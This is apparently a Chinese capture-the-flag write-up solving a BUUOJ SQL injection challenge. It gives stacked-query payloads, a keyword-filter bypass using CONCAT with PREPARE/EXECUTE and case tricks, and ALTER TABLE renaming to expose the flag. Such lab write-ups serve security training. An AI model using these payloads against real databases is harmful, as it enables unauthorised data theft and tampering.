题目地址:https://buuoj.cn/challenges
解题思路
第一步:进入题目,一个输入栏,通过题目可知是sql注入攻击
第二步:测试SQL语句
输入1' or 1=1 #
,出现了当前表中的所有数据
第三步:使用堆叠注入查看表名
-
输入
1';show tables;
查看所有的表,发现有两个表,一个是words表,另一个是1919810931114514表。
-
输入
1';desc words#
查看words表里的内容,里面有id,data两栏。
-
输入
1';desc
1919810931114514#
查看1919810931114514表里的内容,有我们想要的flag。
第四步:使用select取得flag
输入1';select * from '1919810931114514';
取得表中的flag,发现被拦截,从拦截提示中发现过滤了select,update等函数。
第五步:使用预编译绕过select限制
输入1';set @sql = CONCAT('se','lect * from '1919810931114514';');prepare stmt from @sql;EXECUTE stmt;#
查看flag.
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
#
发现还是被拦截
查看提示发现使用strstr函数进行拦截,由于strstr不能区分大小写,将刚才的输入改为大写开头
等价于1';Set @sql = CONCAT('se','lect * from '1919810931114514';');Prepare stmt from @sql;EXECUTE stmt;#
,提价后得到flag:flag{89c5d790-b14d-4661-9fdf-4aa4e41188ff}
思路二
在第三步查看表的字段信息时发现,在输入栏输入1' or 1=1 #
会显示words表里的所有信息,猜测默认执行语句时指定的是words表,我们可以通过修改表明的方式,将1919810931114514表的名字修改为words,之后执行1' or 1=1 #
就可以看到flag了。
修改表名
原理
修改表名(将表名user改为users)
alter table user rename to users;
修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);
具体语句
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
拆分开来如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
#
查询flag
输入1' or 1=1 #
就可以看到flag了
堆叠注入原理
堆叠注入,顾名思义,就是将语句堆叠在一起进行查询
原理很简单,mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句
eg:select * from users;show databases;